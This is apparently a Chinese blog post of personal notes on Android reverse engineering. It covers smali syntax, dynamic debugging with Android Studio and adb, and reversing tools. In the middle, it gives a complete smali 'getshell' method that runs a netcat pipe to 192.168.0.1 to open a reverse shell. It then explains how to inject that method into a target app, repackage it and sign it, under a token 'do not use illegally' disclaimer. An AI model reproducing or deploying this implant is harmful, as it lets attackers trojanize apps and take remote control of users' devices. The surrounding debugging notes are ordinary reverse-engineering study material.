#头
	.class public Lworld/eworld/estr;	#类声明
			#可加	L字符串,当前类所在的路径
	.super Ljava/lang/Object;			#父类声明/默认是Object

#返回静态field方法
	.field public static final eStr:Ljava/lang/String; = "Beat work everyday"
		#   共有   静态   不可修改
		#field声明与初始化
		
#普通函数需要初始化
	.method public bain<init>()V
	#p0-->this
	.locals 0
	invoke-direct {}, Ljava/lang/Object;-><init>V
	return-void	
	.end method
	
	#普通函数
	.method public bwork3()Ljava/lang/String;
	.locals 1
	const-string v0, "Beat work everyday for man"
	result-object v0
	.end method
	
#函数声明
	.method public static bwork()Ljava/lang/String;
			#函数方法声明----共有 静态 函数名(描述) 返回值及类型
	.locals 4	#数字本地寄存器数量,以V0开始,V..
	const-string v0, "Beat work everyday"
	return-object v0
		#返回寄存器对象	
	.end method
	
#获取field
	.method public static bwork2()Ljava/lang/String;
	.locals 1  #寄存器数量声明
	sget-object v0,Lworld/eworld/estr;->eStr:Ljava/lang/String
						#路径				类型
	return-object v0
	.end method
	
------------------------------
#调用静态方法
	invoke-static {},Lworld/eworld/estr;->bwork()Ljava/lang/String;
						#类所在路径          其下方法及返回值和类型
	move-result-object v0
		#对调用方法返回值进行重新赋值

#调用普通方法
	new-instance v0,Lworld/eworld/estr;
	invoke-direct {v0},Lworld/eworld/estr;-><init>()V
	invoke-virtual {v0},Lworld/eworld/estr;->bwork3()Ljava/lang/String;
	move-result-object v0
	
----------------------------------
#Android log
	包源adnroid/util/Log
	invoke-static{v0,v1},Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
#函数跟踪
	invoke-static {},Landroid/os/Debug;->startMethodTracing()V
	invoke-static {},Landroid/os/Debug;->stopMethodTracing()V
	#添加权限
		<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
		<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
#字符串handle
	#新建
	const-string v1, "%d"
	#字符格式化
	const-string v1,"%d"	#描述
	const/4 v2, 0x1			#数组长度
	new-array v2, v2,[Ljava/lang/Object;	#创建object数组，[数组
	aput-object v3,v2,v4	#填充数组
	...
	invoke-static {v1,v2},Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object)Ljava/lang/String;		#格式化字符串
	#字符串替换
	invoke-virtual {v0,v1,v2},Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
	invoke-virtual{v0,v1,v2},Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
#waitForDebugger
	invoke-static {},Landroid/os/Debug;->waitForDebugger()V

最近在研究安卓逆向，刚开始接触，有需要脱壳的可以找我。QQ 657589436 安卓需要很多的反编译工具 jEb，jadx_gui，androidkiller，Android stodio等。今天首先讲一下 安卓动态调试smali代码（需要smalidea插件的哦，没有插件调试不了）
1，首先用 Androidkiller 反编译出项目源码，可以导入到桌面方便找



2 ，需要下载Android stodio， import 导入你的项目（就是你反编译好的Project）



3，选中项目包名 获取该项目的root权限和一些配置



默认是空的 需要手动去选择你的jdk,别的都不需要修改的



下图标注的是需要修改的地方，端口号最好是8700



4 ,adb shell ps  获取模拟器软件进程pid





然后从新打开一个新的cmd窗口输入：adb forward tcp:8700 jdwp:3041 （3041是进程id）直接回城如下图



上面的配置完了在Android stodio中，点击debugger （如下图）出现 socket就可以下断点动态调试了。

向安卓APK smali源码中植入木马反弹SHELL的测试代码【请勿用于非法目的，切记！】
在安卓应用程序中植入木马已经不是什么新鲜事情，下面给出一个demo 反弹shell的一个smali源码，可以直接插入到目标应用的smali源码中，其中第一部分为函数体。注意修改其中的.line 行号。建议插入到一个smali文件的末尾，这样行号只要顺着原smali文件的行号增大即可。
然后使用第二部分的源码进行调用。
# virtual methods
.method public getshell()V
.registers 8
.prologue
.line 28
invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
move-result-object v1
.line 31
.local v1, rt:Ljava/lang/Runtime;
:try_start_4
sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
const-string v3, “NC IS OK!!!!”
invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
.line 34
sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
move-result-object v3
const/4 v4, 0×3
new-array v4, v4, [Ljava/lang/String;
const/4 v5, 0×0
const-string v6, “/system/bin/sh”
aput-object v6, v4, v5
const/4 v5, 0×1
const-string v6, “-c”
aput-object v6, v4, v5
const/4 v5, 0×2
const-string v6, “nc 192.168.0.1 8088|/system/bin/sh|nc 192.168.0.1 9999″
aput-object v6, v4, v5
invoke-virtual {v3, v4}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;
move-result-object v3
invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/Object;)V
:try_end_2a
.catch Ljava/io/IOException; {:try_start_4 .. :try_end_2a} :catch_2b
.line 41
:goto_2a
return-void
.line 37
:catch_2b
move-exception v0
.line 39
.local v0, e:Ljava/io/IOException;
invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
goto :goto_2a
.end method
此处为调用代码，注入插入到一个smali源码程序后就要修改下面的Lcom/example/test/MainActivity为响应的包名和类名，可以参考当前被修改的smali文件上下文进行修改，修改成功后保存并重新打包签名，然后在手机上运行即可。
1
invoke-virtual {p0}, Lcom/example/test/MainActivity;->getshell()V
这个程序会在控制台logcat显示NC IS OK!!的信息方便调试。注意设备需要有装过NC，不过这里有个悖论诶，没有root的设备很少有自带NC的，而root后的设备有很多不装busybox的，也没有NC。所以呢。。具体可用价值，大家自己衡量吧~~

 


			
一段时间的研究下来，对安卓的整个逆向过程除了加固和一些独特的混淆外基本有个认识。这段时间算是真正的从认识到尝试去了解smali，包括期间有想为逆向开发一个从smali2java，java2smali的可视化实时工具，不过意识到时间问题，还是暂时先放弃。不过也出了自己的第一款个人软件，lexgetapp，算是逆向的第一个跨步，后期会继续为它增加一些功能，来帮助自身做安全，逆行的一些工作，让工作更加顺利。


			我这里基本对工具进行一些收集和记录

			逆向工具集合]

			android killer

			apktool

			apkaid



			smali查看与分析]

			jadx

			smali2java-gui


			其实整个从逆向到注入自己的代码过程非常的明晰。

			1，反编目标工程

			2，编写自己的工程，尽量只留下一个程序入口，把任务都设置在某个intent，或是某个异步操作。

			3，使用某些工具获取注入目标。

			4，在注入目标插入自己工程的调起语句。


			说起来很简单，可实际会遇到很多问题，做一些简单说明。

			1，阅读问题

			smali语句的可读性不是很好，所以需要jadx辅助查看去理解源代码的一些操作与逻辑或者进行smali的语法学习。


			2，代码插入问题

			其实直接复制包很容易产生很多毛病，比如65535个函数超限的问题，就需要新建smali_classes2文件夹来解决问题。


			3，资源问题

			我自己的工程，我会尽量使用代码来创建图形和界面，就是为了避免资源id冲突问题，每一个安卓R资源的引入和定义都会出现在string.xml以16进制留存，不可重复，不同种资源必须放在不同位置。甚至不同系统版本对于某些资源的引用都会产生问题。


			最后，其实整个东西都很简单，但是为了避免记不住还是做了这个记录。